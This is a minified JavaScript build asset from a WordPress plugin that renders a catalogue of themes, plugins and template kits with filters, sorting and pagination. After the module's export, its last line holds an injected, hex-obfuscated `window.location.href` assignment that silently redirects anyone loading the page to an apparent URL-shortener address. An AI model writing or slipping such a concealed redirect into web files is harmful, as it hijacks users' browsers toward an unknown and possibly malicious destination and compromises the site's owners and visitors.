File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/BPgldSpW.431dca.js
import{c as w,j as e,_ as x,B as y,n as oe,o as ce,e as E,m as U,b,r as p,p as T,q as de,s as ue,t as pe,v as me,w as he,x as xe,A as ge,y as fe,C as je,E as ye,F as ve,H as R,I as be,z as j,K as we,L as Ne,M as V,f as W}from"./0rvbeSEg.431dca.js";import{P as Se,e as ke,f as Ce,g as X,h as Q,i as Y,j as Ee,k as B,l as $,m as Fe,X as O,C as D,a as Z,c as J,b as Pe,n as Ie,d as ze,S as Me,o as P,A as Ae}from"./DUjAZQ04.431dca.js";import{S as ee,a as se,b as ae,c as te,d as re,e as _e,f as le,g as Te}from"./Dgxygxn7.431dca.js";import{I as Ve}from"./D9o6hvik.431dca.js";import{P as Be}from"./VSYHeJvG.431dca.js";import{i as _}from"./oncAzkIk.431dca.js";import{u as q,a as $e}from"./0jFFFmbF.431dca.js";import{I as Le}from"./Bg9ZA4vN.431dca.js";import"./Bd_FSJ-T.431dca.js";/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const Oe=w("ArrowDownWideNarrow",[["path",{d:"m3 16 4 4 4-4",key:"1co6wj"}],["path",{d:"M7 20V4",key:"1yoxec"}],["path",{d:"M11 4h10",key:"1w87gc"}],["path",{d:"M11 8h7",key:"djye34"}],["path",{d:"M11 12h4",key:"q8tih4"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const De=w("ArrowUpNarrowWide",[["path",{d:"m3 8 4-4 4 4",key:"11wl7u"}],["path",{d:"M7 4v16",key:"1glfcx"}],["path",{d:"M11 12h4",key:"q8tih4"}],["path",{d:"M11 16h7",key:"uosisv"}],["path",{d:"M11 20h10",key:"jvxblo"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const ne=w("Check",[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const qe=w("Clock",[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["polyline",{points:"12 6 12 12 16 14",key:"68esgv"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const Re=w("Ellipsis",[["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}],["circle",{cx:"19",cy:"12",r:"1",key:"1wjl8i"}],["circle",{cx:"5",cy:"12",r:"1",key:"1pcz8c"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const We=w("Eye",[["path",{d:"M2 12s3-7 10-7 10 7 10 7-3 7-10 7-10-7-10-7Z",key:"rwhkz3"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const Ge=w("Info",[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"M12 16v-4",key:"1dtifu"}],["path",{d:"M12 8h.01",key:"e9boi3"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const He=w("SearchX",[["path",{d:"m13.5 8.5-5 5",key:"1cs55j"}],["path",{d:"m8.5 8.5 5 5",key:"a8mexj"}],["circle",{cx:"11",cy:"11",r:"8",key:"4ej97u"}],["path",{d:"m21 21-4.3-4.3",key:"1qie3q"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const Ke=w("SlidersHorizontal",[["line",{x1:"21",x2:"14",y1:"4",y2:"4",key:"obuewd"}],["line",{x1:"10",x2:"3",y1:"4",y2:"4",key:"1q6298"}],["line",{x1:"21",x2:"12",y1:"12",y2:"12",key:"1iu8h1"}],["line",{x1:"8",x2:"3",y1:"12",y2:"12",key:"ntss68"}],["line",{x1:"21",x2:"16",y1:"20",y2:"20",key:"14d8ph"}],["line",{x1:"12",x2:"3",y1:"20",y2:"20",key:"m0wm8r"}],["line",{x1:"14",x2:"14",y1:"2",y2:"6",key:"14e1ph"}],["line",{x1:"8",x2:"8",y1:"10",y2:"14",key:"1i6ji0"}],["line",{x1:"16",x2:"16",y1:"18",y2:"22",key:"1lctlv"}]]);/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const Ue=w("Star",[["polygon",{points:"12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2",key:"8f66p6"}]]);function Xe({collection:s}){return e.jsxs(ee,{value:s.pagination.per_page,onValueChange:s.setPerPage,children:[e.jsx(se,{className:"h-9 w-16",children:e.jsx(ae,{placeholder:30})}),e.jsx(te,{children:e.jsxs(re,{children:[e.jsx(_e,{className:"p-2 text-sm text-muted-foreground",children:x("Per Page")}),[30,60,90].map(t=>e.jsx(le,{value:String(t),children:t},t))]})})]})}function Qe({item:s,collection:t}){const l=new Set(t.filter[s.id]);return e.jsxs(Se,{children:[e.jsx(ke,{asChild:!0,children:e.jsxs(y,{variant:"outline",size:"sm",className:"h-9 border-dashed",children:[e.jsx(oe,{className:"mr-2 h-4 w-4"}),s.label,(l==null?void 0:l.size)>0&&e.jsxs(e.Fragment,{children:[e.jsx(ce,{orientation:"vertical",className:"mx-2 h-4"}),e.jsx(E,{variant:"secondary",className:"rounded-sm px-1 font-normal lg:hidden",children:l.size}),e.jsx("div",{className:"hidden space-x-1 lg:flex",children:l.size>2?e.jsx(E,{variant:"secondary",className:"rounded-sm px-1 font-normal",children:wp.i18n.sprintf(U("%d selected","Number of selected filter items"),l.size)}):s.options.filter(n=>l.has(n.value)).map(n=>e.jsx(E,{variant:"secondary",className:"rounded-sm px-1 font-normal",children:n.label},n.value))})]})]})}),e.jsx(Ce,{className:"w-[200px] p-0",align:"start",children:e.jsxs(X,{children:[s.options.length>10&&e.jsx(Q,{placeholder:x("Search")}),e.jsxs(Y,{children:[e.jsx(Ee,{children:x("No results found.")}),e.jsx(B,{children:s.options.map(n=>{const r=l.has(n.value);return e.jsxs($,{onSelect:m=>{r?l.delete(n.value):(s.isMulti===!1&&l.clear(),l.add(n.value));const d=Array.from(l);t.setFilter(s.id,d)},children:[e.jsx("div",{className:b("mr-2 flex h-4 w-4 items-center justify-center rounded-sm border border-primary",r?"bg-primary text-primary-foreground":"opacity-50 [&_svg]:invisible"),children:e.jsx(ne,{className:b("h-4 w-4")})}),n.icon&&e.jsx(n.icon,{className:"mr-2 h-4 w-4 text-muted-foreground"}),e.jsx("span",{children:n.label})]},n.value)})}),l.size>0&&e.jsxs(e.Fragment,{children:[e.jsx(Fe,{}),e.jsx(B,{children:e.jsx($,{onSelect:()=>t.setFilter(s.id,[]),className:"justify-center text-center",children:x("Clear Filter")})})]})]})]})})]})}const G=10;function Ye({item:s,collection:t,intent:l,setIntent:n}){var k;const r=p.useRef(null),[m,d]=p.useState(""),[c,u]=p.useState(!1),h=new Set(l[s.id]),o=(k=s.options)==null?void 0:k.filter(a=>a.label.toLowerCase().includes(m.toLowerCase())).sort().slice(0,G),F=p.useCallback(a=>{const i=r.current;if(i){if(c||u(!0),a.key==="Enter"&&i.value!==""){const g=s.options.find(f=>f.label===i.value);g&&h.add(g.value)}a.key==="Escape"&&i.blur()}},[c,u,s,m]),C=p.useCallback(()=>{u(!1)},[]),S=p.useCallback((a,i)=>{i?h.delete(a.value):h.add(a.value),n(s.id,Array.from(h)),setTimeout(()=>{var g;(g=r==null?void 0:r.current)==null||g.blur()},0)},[]);return e.jsxs("div",{className:"flex flex-col gap-2",children:[h.size>0&&e.jsx("div",{className:"flex flex-row flex-wrap gap-1",children:Array.from(h).map(a=>{const i=s.options.find(g=>g.value===a);return e.jsxs(E,{variant:"default",className:"group cursor-pointer gap-2 py-0",size:"sm",onClick:()=>{S(i,!0)},children:[e.jsx("span",{children:i==null?void 0:i.label}),e.jsx("span",{className:"scale-100 transition-transform group-hover:scale-75",children:e.jsx(O,{className:"w-4"})})]},a)})}),e.jsxs(X,{onKeyDown:F,className:"rounded-lg border",children:[s.options.length>G&&e.jsx("div",{children:e.jsx(Q,{ref:r,placeholder:x("Search"),onFocus:()=>u(!0),value:m,onBlur:C,onValueChange:d})}),e.jsx(Y,{className:"max-h-max",children:o.length>0?e.jsx(B,{children:o.map(a=>{const i=h.has(a.value);return e.jsxs($,{value:a.label,onMouseDown:g=>{g.preventDefault(),g.stopPropagation()},onSelect:()=>S(a,i),children:[e.jsx("div",{className:b("mr-2 flex h-4 w-4 items-center justify-center rounded-sm border border-primary",i?"bg-primary text-primary-foreground":"opacity-50 [&_svg]:invisible"),children:e.jsx(ne,{className:b("h-4 w-4")})}),e.jsx("span",{children:a.label})]},a.value)})}):null})]})]})}function Ze({collection:s}){var d;const[t,l]=p.useState(s.filter),n=p.useCallback((c,u)=>{l(h=>T({...h,[c]:u}))},[s]),r=c=>{c===!1&&l(u=>({}))},m=s.options.filter(c=>c.enabled!==!1);return m&&e.jsxs(de,{onOpenChange:r,children:[e.jsx(ue,{asChild:!0,children:e.jsxs(y,{variant:"outline",className:"flex flex-row gap-2",children:[x("Filters")," ",e.jsx(Ke,{size:16})]})}),e.jsxs(pe,{className:"overflow-y-auto",children:[e.jsxs(me,{children:[e.jsx(he,{children:x("Apply Filters")}),e.jsx(xe,{children:x("Select Filters to fine tune your search results.")})]}),e.jsx("div",{className:"py-4",children:s.options&&e.jsx(ge,{type:"single",collapsible:!0,defaultValue:(d=m[0])==null?void 0:d.id,className:"w-full",children:m.map(c=>{var u;return e.jsxs(fe,{value:c.id,children:[e.jsxs(je,{children:[c.label," [",`${((u=t[c.id])==null?void 0:u.length)??0}/${c.options.length}`,"]"]}),e.jsx(ye,{children:e.jsx(Ye,{collection:s,item:c,intent:t,setIntent:n})})]},c.id)})})}),e.jsxs(ve,{children:[e.jsx(R,{asChild:!0,children:e.jsx(y,{onClick:()=>{},variant:"secondary",children:x("Cancel")})}),e.jsx(R,{asChild:!0,children:e.jsx(y,{onClick:()=>{s.setFilters(t)},children:x("Apply Filters")})})]})]})]})}function Je(s,t){const[l,n]=p.useState(s);return p.useEffect(()=>{const r=setTimeout(()=>n(s),t);return()=>{clearTimeout(r)}},[s,t]),l}function es({collection:s}){var d;const[t,l]=p.useState(((d=s.search)==null?void 0:d.keyword)??""),[n,r]=p.useState(!1),m=Je(t,500);return p.useEffect(()=>{n&&s.setSearch(m)},[m]),p.useEffect(()=>{var c;l(((c=s.search)==null?void 0:c.keyword)||"")},[s.search]),e.jsxs("div",{className:"relative",children:[e.jsx(Ve,{value:t,className:b("h-9 w-[300px] pr-7 transition-[width]"),placeholder:x("Search Title"),onChange:c=>{l(c.target.value),r(!0)}}),t.length>0&&e.jsx(O,{className:"absolute right-3 top-1/2 -translate-y-1/2 cursor-pointer opacity-100 transition-opacity hover:opacity-70",size:14,onClick:c=>s.setSearch("")})]})}function ss({label:s,collection:t}){var l,n;return e.jsxs("div",{className:"flex flex-row items-center gap-4",children:[e.jsxs(ee,{value:t.sorting.order_by,onValueChange:r=>t.setSort(r,t.sorting.order),children:[e.jsx(se,{className:"h-9 w-[180px]",children:e.jsx(ae,{placeholder:s})}),e.jsx(te,{children:e.jsxs(re,{children:[e.jsx(Te,{className:"p-2 text-sm text-muted-foreground",children:x("Order By")}),t.sort.map(r=>e.jsx(le,{value:r.value,children:r.label},r.value))]})})]}),e.jsxs(y,{variant:"outline",size:"icon",onClick:()=>t.setSort(t.sorting.order_by,t.sorting.order==="asc"?"desc":"asc"),className:"h-9",children:[e.jsx(De,{className:b("h-[1.2rem] w-[1.2rem] scale-0 transition-all",((l=t.sorting)==null?void 0:l.order)==="asc"&&"scale-100")}),e.jsx(Oe,{className:b("absolute h-[1.2rem] w-[1.2rem] scale-0 transition-all",((n=t.sorting)==null?void 0:n.order)!=="asc"&&"scale-100")})]})]})}function as({collection:s}){return e.jsxs("div",{className:"flex flex-col gap-4",children:[e.jsxs("div",{className:"flex flex-row items-start justify-between gap-4",children:[e.jsxs("div",{className:"flex flex-row items-center gap-4",children:[e.jsx(es,{collection:s}),e.jsx("div",{})]}),e.jsxs("div",{className:"flex flex-row items-center gap-4",children:[e.jsx(Xe,{collection:s}),e.jsx(ss,{label:"Order By",collection:s})]})]}),e.jsx("div",{className:"flex flex-row items-center gap-4",children:s.options&&e.jsxs("div",{className:"flex flex-row flex-wrap gap-4",children:[s.options.filter(t=>t.onBarView===!0&&t.enabled!==!1).map(t=>e.jsx(Qe,{item:t,collection:s},t.id)),e.jsx(Ze,{collection:s}),Object.keys(s.filter).length>0&&e.jsx("div",{children:e.jsxs(y,{variant:"ghost",className:"flex flex-row gap-2",onClick:s.clearFilter,children:[e.jsx("span",{children:x("Clear Filters")})," ",e.jsx(O,{size:"14"})]})})]})})]})}const ts=s=>{const t={};return s.forEach(l=>{l.enabled!==!1&&(t[l.id]=j.array(j.string()).optional())}),j.object(t)},rs=s=>{if(s.length===0)throw new Error("sort_items must have at least one item.");const t=s.map(l=>l.value);return j.object({order_by:j.enum(t).default(t[0]),order:j.enum(["asc","desc"]).default("desc")})},H=j.object({per_page:j.enum(["30","60","90"]).default("30")}),K=j.object({keyword:j.string().optional()}),I=s=>Object.fromEntries(Object.entries(s).map(([t,l])=>[t,l.sort().join(",")]));function ls({options:s,path:t,sort:l}){const[n,r]=be(),m=p.useMemo(()=>ts(s),[s]),d=p.useMemo(()=>rs(l),[l]),c=q(t),u=$e(),h=p.useCallback(f=>{const v={};return Array.from(f.entries()).forEach(([N,z])=>{s.find(A=>A.id===N)&&(v[N]=z.split(",").filter(A=>A.length>0))}),v},[s]),o=p.useMemo(()=>{const f=h(n),v=m.safeParse(f),N=d.safeParse(Object.fromEntries(n)),z=K.safeParse(Object.fromEntries(n)),M=H.safeParse(Object.fromEntries(n));return{filter:v.success?v.data:{},sorting:N.success?N.data:{},search:z.success?z.data:{},pagination:M.success?M.data:{per_page:"30"}}},[n,m,d,K,H]);function F(f,v){const N=T({...o.filter,[f]:v.length>0&&v.sort()});g(),r({...o.search,...I(N),...o.sorting,...o.pagination})}function C(f){g(),r({...o.search,...I(f),...o.sorting,...o.pagination})}function S(f,v){const N=T({order_by:f??null,order:v??"asc"});r({...o.search,...I(o.filter),...N,...o.pagination})}function k(f){g(),r({...f.length>0?{keyword:f}:{},...I(o.filter),...o.sorting,...o.pagination})}function a(f){g(),r({...o.search,...I(o.filter),...o.sorting,per_page:String(f)})}function i(){g(),r({...o.sorting,...o.pagination})}function g(){u(t,{params:{type:c.type}})}return{options:s,searchParams:n,sort:l,search:o.search,filter:o.filter,sorting:o.sorting,pagination:o.pagination,setFilter:F,setFilters:C,setSort:S,resetPage:g,setSearch:k,setPerPage:a,clearFilter:i}}function ns(){return e.jsxs(D,{children:[e.jsx(Z,{className:"aspect-video overflow-hidden rounded-t-sm p-0 sm:p-0",children:e.jsx(P,{className:"aspect-video rounded-none rounded-t-sm"})}),e.jsxs(J,{className:"mt-4 space-y-2 pb-0",children:[e.jsx(P,{className:"h-4 w-full"}),e.jsx(P,{className:"h-4 w-3/4"}),e.jsx(P,{className:"h-4 w-full"}),e.jsx(P,{className:"h-4 w-3/4"})]})]})}function is({item:s}){var m;const t=we(),{addItem:l,hasItem:n,removeItem:r}=Ne();return e.jsxs(D,{className:"group/item flex flex-col justify-between transition-all duration-300",children:[e.jsxs("div",{children:[e.jsxs(Z,{className:"group/image relative aspect-video overflow-hidden rounded-t-sm bg-slate-400 p-0 sm:p-0",children:[s.image&&e.jsx(V,{to:`/item/${s.type}/detail/${s.id}`,children:e.jsx("img",{src:s.image,className:"aspect-video rounded-t-sm object-cover"})}),s.version&&e.jsx(E,{className:b(["absolute bottom-1 flex items-center gap-1 rounded-sm uppercase transition-opacity group-hover/image:opacity-80","left-1"]),variant:"background",title:"Version",children:s.version}),s.access&&e.jsx(E,{className:b(["absolute bottom-1 flex items-center gap-1 rounded-sm uppercase transition-opacity","right-1 border-0"]),variant:s.access,children:s.access})]}),e.jsxs(J,{className:"space-y-1",children:[e.jsx(Pe,{className:"leading-normal",children:e.jsx(V,{to:`/item/${s.type}/detail/${s.id}`,children:wp.htmlEntities.decodeEntities(s.title)})}),e.jsx(Ie,{className:"line-clamp-2",children:wp.i18n.sprintf(U("In %s","In Category Name"),(m=s.terms)==null?void 0:m.filter(d=>d.taxonomy==="category").map(d=>wp.htmlEntities.decodeEntities(d.name)).join(", "))}),e.jsxs("div",{className:"flex items-center gap-2 text-gray-400",children:[e.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[e.jsx(qe,{width:11})," ",moment.unix(s.updated).fromNow()]}),e.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[e.jsx(Ge,{width:11})," ",s.version]})]})]})]}),e.jsx(ze,{children:e.jsxs("div",{className:"flex flex-row items-center gap-2 pt-3",children:[e.jsx(Le,{item:s}),e.jsx(y,{variant:"outline",size:"icon",className:"flex items-center gap-2",onClick:d=>{t(`/item/${s.type}/detail/${s.id}`)},children:e.jsx(We,{width:16})}),e.jsx(y,{variant:n(s.id)?"secondary":"outline",size:"icon",className:"flex items-center gap-2",title:n(s.id)===!0?x("Remove from bulk"):x("Add to Bulk"),onClick:d=>{n(s.id)===!0?r(s.id):l({id:Number(s.id),type:s.type,image:s.thumbnail??s.image,title:s.title,version:s.version})},children:e.jsx(Me,{width:16})}),e.jsx(y,{variant:"outline",size:"icon",className:"flex items-center gap-2",onClick:d=>{},children:e.jsx(Ue,{width:16})}),e.jsx(y,{variant:"outline",size:"icon",className:"flex items-center gap-2",onClick:d=>{},children:e.jsx(Re,{width:16})})]})})]})}const os=j.enum(["wordpress-themes","wordpress-plugins","elementor-template-kits"]);j.enum(["gold","bronze","silver"]);const cs=[{label:"Updated",value:"updated"},{label:"Title",value:"title"},{label:"Popularity",value:"popularity"}],L="/item/:type/:page?",ie=j.object({type:os.default("wordpress-themes"),page:j.coerce.number().default(1)});function ds(){const s=ie.parse(q(L));return e.jsx(D,{className:"col-span-1 md:col-span-3",children:e.jsxs("div",{className:"flex flex-col items-center gap-4 px-4 py-10 sm:px-6",children:[e.jsx("div",{children:e.jsx(He,{size:48})}),e.jsx("div",{className:"text-center text-sm italic text-muted-foreground",children:"We couldn't find the item you're looking for, you can make a wish request"}),e.jsx(y,{asChild:!0,variant:"outline",children:e.jsx(V,{to:`/requests?type=${s.type}`,children:"Add Request"})})]})})}function vs(){var C,S,k;const s=ie.parse(q(L)),t=_[s.type],l=_[s.type].slug,n=s.page||1,{data:r,isLoading:m,isFetching:d}=W("item/terms",{type:l}),c=p.useMemo(()=>r?[{id:"category",label:"Category",enabled:s.type!="elementor-template-kits",onBarView:!0,isMulti:!0,options:r==null?void 0:r.filter(a=>a.taxonomy==="category").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"post_tag",label:"Tag",isMulti:!0,options:r==null?void 0:r.filter(a=>a.taxonomy==="post_tag").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"widget-ready",label:"Widget Ready",enabled:s.type!="elementor-template-kits",isMulti:!1,options:r==null?void 0:r.filter(a=>a.taxonomy==="widget-ready").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"compatible-with",label:"Compatible With",isMulti:!1,options:r==null?void 0:r.filter(a=>a.taxonomy==="compatible-with").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"files-included",label:"Files Included",enabled:s.type!="elementor-template-kits",isMulti:!1,options:r==null?void 0:r.filter(a=>a.taxonomy==="files-included").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"software-version",label:"Software Versions",isMulti:!1,options:r==null?void 0:r.filter(a=>a.taxonomy==="software-version").sort((a,i)=>a.slug.localeCompare(i.slug)).map(a=>({label:wp.htmlEntities.decodeEntities(a.name),value:a.slug}))},{id:"level",label:x("Access"),isMulti:!0,onBarView:!0,options:[{label:"Bronze",value:"bronze"},{label:"Silver",value:"silver"},{label:"Gold",value:"gold"}]},{id:"add_content",label:x("Additional Content"),isMulti:!1,enabled:s.type!="elementor-template-kits",options:[{label:"Yes",value:"yes"},{label:"No",value:"no"}]}]:[],[r,m,s]),u=ls({options:c,path:L,sort:cs}),{data:h,isLoading:o,isFetching:F}=W("item/list",{type:l,page:n,filter:u.filter,sort:u.sorting,keyword:(C=u.search)==null?void 0:C.keyword,per_page:Number((S=u.pagination)==null?void 0:S.per_page)});return p.useEffect(()=>{window.scrollTo({top:0,behavior:"smooth"})},[h]),e.jsx(Ae,{title:t.label,description:t.description,isFetching:F,isLoading:o,preloader:e.jsx("div",{className:"grid grid-cols-1 md:grid-cols-3",children:e.jsx(ns,{})}),breadcrump:[{label:_[s.type].label,href:`/item/${l}`},{label:wp.i18n.sprintf(x("Page %d"),s.page.toLocaleString())}],children:h&&e.jsxs(e.Fragment,{children:[e.jsx(as,{collection:u}),e.jsx("div",{className:b(["grid grid-cols-1 gap-5 md:grid-cols-3 lg:gap-7"]),children:h.data.length>0?h.data.map(a=>e.jsx(is,{item:a},a.id)):e.jsx(ds,{})}),h.meta&&e.jsx(Be,{currentPage:n,totalPages:(k=h.meta)==null?void 0:k.last_page,urlGenerator:a=>`/item/${s.type}/${a}?${u==null?void 0:u.searchParams}`})]})})}export{vs as default};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";